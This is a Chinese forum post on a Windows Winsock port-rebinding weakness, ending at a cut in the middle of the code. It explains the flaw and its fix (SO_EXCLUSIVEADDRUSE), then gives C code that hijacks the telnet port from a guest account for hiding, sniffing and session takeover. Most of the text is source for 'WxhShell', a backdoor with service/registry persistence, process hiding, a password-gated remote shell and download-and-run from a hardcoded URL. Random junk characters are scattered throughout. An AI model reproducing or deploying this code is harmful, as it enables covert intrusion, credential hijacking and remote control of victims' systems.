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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: k]R O=/ ?M  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E'XF n'  
e{=7,DRH<  
  saddr.sin_family = AF_INET; RF6(n8["MW  
J'@ I!Jc  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <+_OgF1G  
B'yN &3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); U%gP2]t%cs  
y::KjB 0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 WgE~H)_%  
VrF]X#\)  
  这意味着什么?意味着可以进行如下的攻击: 2Q9s?C   
He#+zE ;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _<t3~{qUT  
JFYeOmR+l  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |8+<qgQ  
@D0Ut9)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -uv1$|  
ocdXzk`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =b`>ggw#  
Oo7n_h1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 aEZl ICpU7  
Aba6/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 YXV![gw0  
f$2lq4P{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ZR..>=  
Yv"uIj+']  
  #include ANT^&NjJ7  
  #include ^4s#nf:}  
  #include qmxkmO+Qur  
  #include    -|f9~(t  
  DWORD WINAPI ClientThread(LPVOID lpParam);   z w5EaY  
  int main() q#OLb"bTr  
  { ).v;~yE   
  WORD wVersionRequested; OEB_LI'  
  DWORD ret; T+sO(;  
  WSADATA wsaData; Bct>EWQ  
  BOOL val; `awk@  
  SOCKADDR_IN saddr; QZh8l-!#5  
  SOCKADDR_IN scaddr; /x$jd )C  
  int err; o"[qPZd>  
  SOCKET s; OY[N%wr!  
  SOCKET sc; 7F+f6(hB  
  int caddsize; %eD&2$q*  
  HANDLE mt;  4jG@ #  
  DWORD tid;   dr9I+c7u  
  wVersionRequested = MAKEWORD( 2, 2 ); R?l>Vr  
  err = WSAStartup( wVersionRequested, &wsaData ); $Q47>/CUc^  
  if ( err != 0 ) { /8Vh G|Wb  
  printf("error!WSAStartup failed!\n"); !*CL>}-,  
  return -1; 0CTI=<;  
  } DCw ldkdJN  
  saddr.sin_family = AF_INET; VaX>tUW  
   u=ENf1{ $>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 o &Nr5S  
ty-4yK#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4{fi=BA   
  saddr.sin_port = htons(23);  #lJF$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s[xdID^3.  
  { Bb-x1{t  
  printf("error!socket failed!\n"); ,{E'k+  
  return -1; tM@TT@.t~  
  } pdtK3Pf  
  val = TRUE; N4HnW0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 q=96Ci_a  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Zqx5I~  
  { w7dG=a&  
  printf("error!setsockopt failed!\n"); V]vk9M2q[l  
  return -1; 3!Bekn]  
  } &,e@pvc3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }]g>PY  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 t5 5k#`Z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~hM4({/QN  
c-s ~q/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %kVpW& ~  
  { *d,SI[c%e  
  ret=GetLastError(); !sR`]0  
  printf("error!bind failed!\n"); E; RI.6y  
  return -1; +j`*?pPD(.  
  } p=Vm{i7  
  listen(s,2); eRv3ZHH  
  while(1) ^-=,q.[7  
  { RQe#X6'h  
  caddsize = sizeof(scaddr); Rjh/M`|  
  //接受连接请求 t%8*$"~X  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); N'[^n,\(:  
  if(sc!=INVALID_SOCKET) =&}dP%3LC)  
  { "I+wU`AIek  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,&l>^w/  
  if(mt==NULL) 1lMU('r%  
  { '9^x"U9c  
  printf("Thread Creat Failed!\n"); e%UFY-2  
  break; W6wgX0H  
  } a&y%|Gs^f  
  } Bd\p!f<  
  CloseHandle(mt); jfgAI7;b  
  } $vc:u6I[  
  closesocket(s); JsiJ=zo<  
  WSACleanup(); }|A%2!Q}  
  return 0; #kV= ;(lq  
  }   zeR!Y yt!  
  DWORD WINAPI ClientThread(LPVOID lpParam) w/Q'T&>b/  
  { *4r;H2%c  
  SOCKET ss = (SOCKET)lpParam; ii~~xt1  
  SOCKET sc; N^`F_R1Z  
  unsigned char buf[4096]; e#16,a-}o  
  SOCKADDR_IN saddr; ~BZA_w"`1  
  long num; 501|Y6ptl  
  DWORD val; AZtZa'hbkQ  
  DWORD ret; &|gn%<^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 j_ :4_zdBy  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Iy`Zh@"~  
  saddr.sin_family = AF_INET; 3YRhqp"E  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Zkxt>%20~  
  saddr.sin_port = htons(23); x2K.5q>  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hEEbH@b  
  { Y{2\==~  
  printf("error!socket failed!\n"); .s, hl(w,  
  return -1; #<!oA1MH4  
  } BH%eu 7`t  
  val = 100; 8HTV"60hTs  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) oYqlN6n,=6  
  { b]*9![_  
  ret = GetLastError(); <Ep P;  
  return -1; (u$Q  
  } m2VF}% EIr  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~":?})  
  { m: w/[|_  
  ret = GetLastError(); :Fm+X[n  
  return -1; Pm;"Y!S<  
  } #ljfcQm  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Y+WOU._46I  
  { -bKli<C  
  printf("error!socket connect failed!\n"); 59ro-nA9v  
  closesocket(sc); 7?cZ9^z`w  
  closesocket(ss); i mJ{wF  
  return -1; mDj:w#q  
  } dr:)+R  
  while(1) 3QGg;  
  { |QxDjL<&t4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 G?8,&jP~T  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 CXJ0N   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ku&0bXP  
  num = recv(ss,buf,4096,0); 6C) G  
  if(num>0) +h[$\_y  
  send(sc,buf,num,0); TX8,+s+  
  else if(num==0) @\[&_DZ  
  break; gxL5%:@  
  num = recv(sc,buf,4096,0); >dZ x+7  
  if(num>0) K3 "co1]u  
  send(ss,buf,num,0); n_?<q{GW  
  else if(num==0) Po=)jkW  
  break; #CVD:p  
  } uKtrG,/ p  
  closesocket(ss); 875V{fvPBU  
  closesocket(sc);  ZY keW  
  return 0 ; f@>27&'WV  
  } 0UlaB sv  
4JP01lq'\  
D<Ads  
========================================================== ^9"|tWf6O  
7uxy<#Ar  
下边附上一个代码,,WXhSHELL l=bB,7gL  
J;'?(xO3\  
========================================================== DA[-( s  
-zMXc"'C^k  
#include "stdafx.h" G4AX8@;U  
nQg6 j Zf  
#include <stdio.h> %,>> <8  
#include <string.h> /1Rm^s)2z  
#include <windows.h> cdzMao  
#include <winsock2.h> ^K&& O {  
#include <winsvc.h> t~XwF(";  
#include <urlmon.h> a<c %Xy/  
_Z5l Nu  
#pragma comment (lib, "Ws2_32.lib") uVOOw&q_  
#pragma comment (lib, "urlmon.lib") 0.|tKetHq  
sDWX} NV  
#define MAX_USER   100 // 最大客户端连接数 Z]oa+W+  
#define BUF_SOCK   200 // sock buffer (zye Ch  
#define KEY_BUFF   255 // 输入 buffer !^G+@~U  
H9nZ%n  
#define REBOOT     0   // 重启 9 `J`(  
#define SHUTDOWN   1   // 关机 AUxLch+"5K  
l0[jepmpiT  
#define DEF_PORT   5000 // 监听端口 u`K+0^)T`  
&bnF{~<\  
#define REG_LEN     16   // 注册表键长度 7P!/jaw xb  
#define SVC_LEN     80   // NT服务名长度 `%F.]|Y0  
Qe]@`Vg  
// 从dll定义API >MS}7Hk\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )#i]exZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #Rjm3#gc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }"Y]GH4Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nN/v7^^  
GeZwbJ/?B  
// wxhshell配置信息 g#5g0UP)V  
struct WSCFG { 6$ @Pk<w  
  int ws_port;         // 监听端口 &=t$ AIu  
  char ws_passstr[REG_LEN]; // 口令 1OE^pxfi>  
  int ws_autoins;       // 安装标记, 1=yes 0=no &RpQ2*4n  
  char ws_regname[REG_LEN]; // 注册表键名 A CJmy2  
  char ws_svcname[REG_LEN]; // 服务名 BJ~Q\Si6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~F>oNbJIv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kzgH p,;R{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )v8;\1`s:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u ldea)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M ~.w:~Jm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c3i|q@ k  
e +4p__TmZ  
}; ^/mQo`[G  
LQNu]2  
// default Wxhshell configuration m7^a4  
struct WSCFG wscfg={DEF_PORT, g|e^}voRM  
    "xuhuanlingzhe", `=b*g24z[N  
    1, NZ9`8&93  
    "Wxhshell", J'^BxN&  
    "Wxhshell", SM! [ yC  
            "WxhShell Service", q.~.1 '`!  
    "Wrsky Windows CmdShell Service", (!DH'2I[  
    "Please Input Your Password: ", -:cS}I  
  1, =5I1[p;  
  "http://www.wrsky.com/wxhshell.exe", 6DR@$fpt  
  "Wxhshell.exe" _(J- MCY\  
    }; Pw hs`YGMF  
j$&k;S  
// 消息定义模块 9BNAj-Xa  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [WX+/pm7>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X1#D}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {3`#? q^o'  
char *msg_ws_ext="\n\rExit."; B;hc|v{(  
char *msg_ws_end="\n\rQuit."; 0%`\ 8  
char *msg_ws_boot="\n\rReboot..."; 8Tv;,a  
char *msg_ws_poff="\n\rShutdown..."; 76$19  
char *msg_ws_down="\n\rSave to "; +J_A *B  
f+%J=Am  
char *msg_ws_err="\n\rErr!"; $vlgiJ&f  
char *msg_ws_ok="\n\rOK!"; fcD$km  
u%VO'}Gz  
char ExeFile[MAX_PATH]; p0`Wci  
int nUser = 0; \*!g0C 8 o  
HANDLE handles[MAX_USER]; "{qhk{  
int OsIsNt; 1Qhx$If~  
;oWhTj`  
SERVICE_STATUS       serviceStatus; Z UAWSJ,s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; sB-c'`,w`  
0ydAdgD  
// 函数声明 /o+, =7hY  
int Install(void); J>] ' {!+  
int Uninstall(void); +7N6]pK|"  
int DownloadFile(char *sURL, SOCKET wsh); HBo^8wN  
int Boot(int flag); !+9H=u  
void HideProc(void); Qj[4gN?}=  
int GetOsVer(void); 3`IDm5  
int Wxhshell(SOCKET wsl); !ssE >bDa  
void TalkWithClient(void *cs); Y?ZTl762  
int CmdShell(SOCKET sock); h_* =_2|}  
int StartFromService(void); V|#B=W  
int StartWxhshell(LPSTR lpCmdLine); @ g~kp  
b (;"p-^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y@M=6G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); REQ2pfk0  
Uu>YE0/)  
// 数据结构和表定义  f==o  
SERVICE_TABLE_ENTRY DispatchTable[] = ~9h6"0K!  
{ XrFyN(p  
{wscfg.ws_svcname, NTServiceMain}, XuoI19V[  
{NULL, NULL} D#W{:_f  
}; n_.2B$JD  
j4ypXPY``!  
// 自我安装 s2b!Nib  
int Install(void) ?n\~&n'C  
{ H6bomp"  
  char svExeFile[MAX_PATH]; V1xpJ  
  HKEY key; \ $X3n\  
  strcpy(svExeFile,ExeFile); `: i|y  
'[`.&-;  
// 如果是win9x系统,修改注册表设为自启动 +CX2W('  
if(!OsIsNt) {  ItC*[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 57v[b-SK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IOvYvFUUJ  
  RegCloseKey(key); `$G7Ia_ $]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XRJ<1w:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k[A=:H1"  
  RegCloseKey(key); R:0Fv9bwS  
  return 0; kH-1l>":  
    }  ZMg%/C  
  } ]$y"|xqR  
} >F Z6\  
else { 0pBlmPafY  
*~prI1e(  
// 如果是NT以上系统,安装为系统服务 hk}M'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K ,f1c}  
if (schSCManager!=0) rAn''X6H  
{ r_FW)Fu^  
  SC_HANDLE schService = CreateService 9]1-J5iO  
  ( 1nBE8 N  
  schSCManager, fG0rUi(8  
  wscfg.ws_svcname, &zb_8y,  
  wscfg.ws_svcdisp, +_ K7x5g  
  SERVICE_ALL_ACCESS, wf6ZzG:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @>(l}5U5  
  SERVICE_AUTO_START, 1S  0GjR  
  SERVICE_ERROR_NORMAL, %}+j4n  
  svExeFile, Y\dK- M{$  
  NULL, $hg W>e  
  NULL, "aB]?4  
  NULL, `@")R-  
  NULL, s-*8=  
  NULL H]}Iw5Z  
  ); 8 6?D  
  if (schService!=0) eZI&d;i  
  { }P-9\*hlm  
  CloseServiceHandle(schService); ,Y &Q,  
  CloseServiceHandle(schSCManager); JQQD~J1)E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1 (P >TH  
  strcat(svExeFile,wscfg.ws_svcname); M\e%GJ0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .F'Fk=N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O`OntYwa>  
  RegCloseKey(key); u2-%~Rlo  
  return 0; WTY{sq\' o  
    } 1,,o_e\nn3  
  } o+/x8:   
  CloseServiceHandle(schSCManager); _BHb0zeot  
} 9.#\GI ;  
} ; =F^G?p^  
D GOc!  
return 1; 7KuTC%7  
} @6h=O`X>  
"%qGcC8  
// 自我卸载 A}H)ojG'v  
int Uninstall(void) N$:[`,  
{ vRRi"bo  
  HKEY key; 8'Z9Z*^h#x  
x8b w#  
if(!OsIsNt) { c .KpXY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VSmshld  
  RegDeleteValue(key,wscfg.ws_regname); d[-w&[iy  
  RegCloseKey(key); -Ww'wH'2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :Oa|&.0l?  
  RegDeleteValue(key,wscfg.ws_regname); 'u_'y  
  RegCloseKey(key); 'S@h._q  
  return 0; QmbD%kW`3  
  } t+q:8HNh  
} Q4CxtY  
} W O|2x0K  
else { 4=*VXM/  
&wK%p/?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C Ij3D"  
if (schSCManager!=0) c<pr1g  
{ [M Z'i/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IUbYw~f3  
  if (schService!=0) + :iNoDz  
  { :HMnU37m W  
  if(DeleteService(schService)!=0) { A5!f#  
  CloseServiceHandle(schService); /3'-+bp^=  
  CloseServiceHandle(schSCManager); ;u!>( QQ  
  return 0; Mm^o3vl  
  } 3MNo&0M9  
  CloseServiceHandle(schService); 6yv*AmFh  
  } ,%v  
  CloseServiceHandle(schSCManager); ASR"<]  
} xh_6@}D2J  
} 7=Ew[MOmM  
S=eY`,'#R  
return 1; ~Q>97%  
} N/qr}- 3z  
!yG{`#NZZ  
// 从指定url下载文件 )z2Tm4>iql  
int DownloadFile(char *sURL, SOCKET wsh) \96?OC dr  
{ D0lgKQ  
  HRESULT hr; `:-{8Vo7  
char seps[]= "/"; L*D-RYW  
char *token; z"=#<C  
char *file; UT==x<  
char myURL[MAX_PATH]; I/pavh  
char myFILE[MAX_PATH]; 9~ K 1+%!  
-P(q<T2MV'  
strcpy(myURL,sURL); eaYQyMv@  
  token=strtok(myURL,seps); M-T&K% /lW  
  while(token!=NULL) Nyow:7p  
  { cqRIi~`  
    file=token; |XLx6E2F  
  token=strtok(NULL,seps); ~y$B #.l  
  } %RdCSQ9~  
-9.S?N'T>;  
GetCurrentDirectory(MAX_PATH,myFILE); V78QV3  
strcat(myFILE, "\\"); O}Fp\"  
strcat(myFILE, file); TL1pv l  
  send(wsh,myFILE,strlen(myFILE),0); lRZt))3  
send(wsh,"...",3,0); u"?cmg<.1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $X WJxQRUv  
  if(hr==S_OK) {S'xZ._=  
return 0; )+u|qT3%  
else CmY'[rI  
return 1; RUlM""@b  
Ex&f}/F  
} `k a!`nfo  
2|qE|3&{'  
// 系统电源模块 ) e;)9~  
int Boot(int flag) z,X ^;  
{ ^ :6v- Yx  
  HANDLE hToken; Yvs9)g  
  TOKEN_PRIVILEGES tkp; hz>&E,<8q  
6AUXYbK,  
  if(OsIsNt) { XB50>??NE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iVFHr<zk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o'D{ql  
    tkp.PrivilegeCount = 1; :G9.}VrU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T&tCXi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Tm.(gK  
if(flag==REBOOT) { .B6$U>>NS^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _^0yE_ili  
  return 0; ne oT\HV  
} 4u"V52  
else { rgRh ySud  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A+iQH1C0h  
  return 0; eeoIf4]  
} wHx1CXC  
  } u/h Ff3  
  else { &b iBm  
if(flag==REBOOT) { lJ62[2=V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) '2WYbcU  
  return 0; `N_NzH  
} o/CSIvz1  
else { ;Tvy)*{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _E{SGbCCi  
  return 0; J&@[=zBYw  
} S5-}u)XnH  
} "qu%$L  
z%hB=V!~91  
return 1; ;v[F@O~*)  
} TMhUo#`I|  
E;@` { v  
// win9x进程隐藏模块 wbU pD(  
void HideProc(void) `-hFk88  
{ VWI|`O.w  
"o*F$7D!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); INyreoMp  
  if ( hKernel != NULL ) sG%Q?&-  
  { QukLsl]U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v< xe(dC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W&;X+XA_W  
    FreeLibrary(hKernel); S_y!4;]ox  
  } #6 e  
`|8)A)ZVT  
return;  G;Q)A$-  
} 9} :n  
zF>| 9JU  
// 获取操作系统版本 $"!"=v%B  
int GetOsVer(void) *S~gF/*kP  
{ ]>b.oI/  
  OSVERSIONINFO winfo; C o4QWyt:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _ncqd,&z  
  GetVersionEx(&winfo); '&I.w p`^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t9Ht 5 4  
  return 1; ?}D@{%O3T  
  else )Jz L  
  return 0; f[6;)ZA  
} 5 UpN/\He  
7i`@`0   
// 客户端句柄模块 HC@E&t  
int Wxhshell(SOCKET wsl) w6F4o;<PR  
{ q=M!YWz  
  SOCKET wsh; S#/[>Cb  
  struct sockaddr_in client; ^cz #PNB  
  DWORD myID; 'gxSHqeI2  
 5%mc|  
  while(nUser<MAX_USER)  O3bo3Cm$  
{ c_s=>z  
  int nSize=sizeof(client); r{pTM cDS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C&^"]-t  
  if(wsh==INVALID_SOCKET) return 1; L%# #U'e3  
2ro4{^(_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ex @e-<  
if(handles[nUser]==0) C_rlbl;T  
  closesocket(wsh); T$U,rOB"  
else 5}x^0 LY  
  nUser++; wN-3@  
  } R*`A',]:9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i(Cd#1<  
B<SuNbR  
  return 0; )[|`-M~u  
} Smzy EMT  
Vahfz8~w/  
// 关闭 socket X-|Lg.s  
void CloseIt(SOCKET wsh) /XEUJC4  
{ h$)+$^YI  
closesocket(wsh); K9\`Wu_qL  
nUser--; ne4j_!V{Mf  
ExitThread(0); 8%S5Fc #am  
} tY-{uHW&h  
&> tmzlww  
// 客户端请求句柄 8  ;y N  
void TalkWithClient(void *cs) +Em+W#i%?  
{ vn}:$|r$J  
l`G .lM(  
  SOCKET wsh=(SOCKET)cs; 7E*d>:5I  
  char pwd[SVC_LEN]; w[~O@:`]<o  
  char cmd[KEY_BUFF]; J+r\EN^9  
char chr[1]; 3qR%Mf'  
int i,j; ;HtHN K(o  
jc) [5i0  
  while (nUser < MAX_USER) { DF|(CQs9  
-.~Dhk  
if(wscfg.ws_passstr) { x9)^0Hbo  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $-H#M] Gq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vY&[=2=  
  //ZeroMemory(pwd,KEY_BUFF); )EZ#BF<0|  
      i=0; KP `{ UD)  
  while(i<SVC_LEN) { AC;ja$A#  
<)ozbv Xk  
  // 设置超时  3=@94i  
  fd_set FdRead; 5TqB&GP0  
  struct timeval TimeOut; :QT0[P5O  
  FD_ZERO(&FdRead); 4 8l!P(>?y  
  FD_SET(wsh,&FdRead); Q>]FO  
  TimeOut.tv_sec=8; NI_.wB{  
  TimeOut.tv_usec=0; r9 G}[# DO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xPoI+,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $Zf hQ5bat  
:_E=&4&g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =:OS"qD3l  
  pwd=chr[0]; s 4uZ;  
  if(chr[0]==0xd || chr[0]==0xa) { ;L (dmx?  
  pwd=0; MwMv[];I  
  break; ^}vLZA  
  } ~jWG U-m  
  i++; c@!%.# |y  
    } ltRvNXx+]  
<\l@`x96"D  
  // 如果是非法用户,关闭 socket OPH f9T3H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oKjQ? 4  
} \6~(# y  
~ HFDX@m*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'au7rX(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N) D;)ZH  
n\Y{ ?x  
while(1) { r!A1Sfo4P  
P/uk]5H^  
  ZeroMemory(cmd,KEY_BUFF); OIP JN8V  
]w ^9qS  
      // 自动支持客户端 telnet标准   i7]\}w|  
  j=0; Nr 5h%<` I  
  while(j<KEY_BUFF) { 3.,O7 k7y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S?TyC";!  
  cmd[j]=chr[0]; (|H1zO  
  if(chr[0]==0xa || chr[0]==0xd) { Qz6Ry\u  
  cmd[j]=0; Ni "n_Yun  
  break; Dg(882#_  
  } zSt6q  
  j++; M{M>$pt   
    } aF2vw{wT}  
Tv2d?y  
  // 下载文件 g*]Gc%  
  if(strstr(cmd,"http://")) { }Jfi"L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ch;C\H:X  
  if(DownloadFile(cmd,wsh)) 8Ac5K!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9,8}4Y=GVI  
  else )1f8 H,q^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t<~$?tuZ  
  } >HMuh)  
  else { ,FWC|uM"  
AY3nQH   
    switch(cmd[0]) { :rr;9nMR[  
  )"SP >2}  
  // 帮助 _4H 9rPhf  
  case '?': { Reci:T(_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a?&{eMEe}  
    break; }s i{  
  } &,~0*&r0  
  // 安装 <*I%U]  
  case 'i': { rm}OVL  
    if(Install()) Wc] L43u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T#&tf^;  
    else yKSvg5lLy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3!]S8Y*LQP  
    break; |cKo#nfzZ  
    } DdO$&/`)YP  
  // 卸载 N pu#.)G  
  case 'r': { nSUQ Eho<  
    if(Uninstall()) %-u Ra\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9cV;W\ Tw  
    else W!.F\H,(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v8=7  
    break; ,D#ssxV  
    } II(7U3  
  // 显示 wxhshell 所在路径 Buazm3q8H  
  case 'p': { #Fp5>%*  
    char svExeFile[MAX_PATH]; ibe#Y  
    strcpy(svExeFile,"\n\r"); @&H Tt  
      strcat(svExeFile,ExeFile); liu%K9-r  
        send(wsh,svExeFile,strlen(svExeFile),0); !=sM `(=~  
    break; B5FRe'UC  
    } `+Ko{rf+9  
  // 重启 +\r=/""DW  
  case 'b': { 4@|"1D3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yCk9Xc  
    if(Boot(REBOOT)) >;|~ z\8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ih_2")d  
    else { ib$_x:OO"  
    closesocket(wsh); lN@SfM4\  
    ExitThread(0); RE*;_DF  
    } |"7F`M96I  
    break; OB-gH3:  
    } *>b*I4dz  
  // 关机 j2\B(PA  
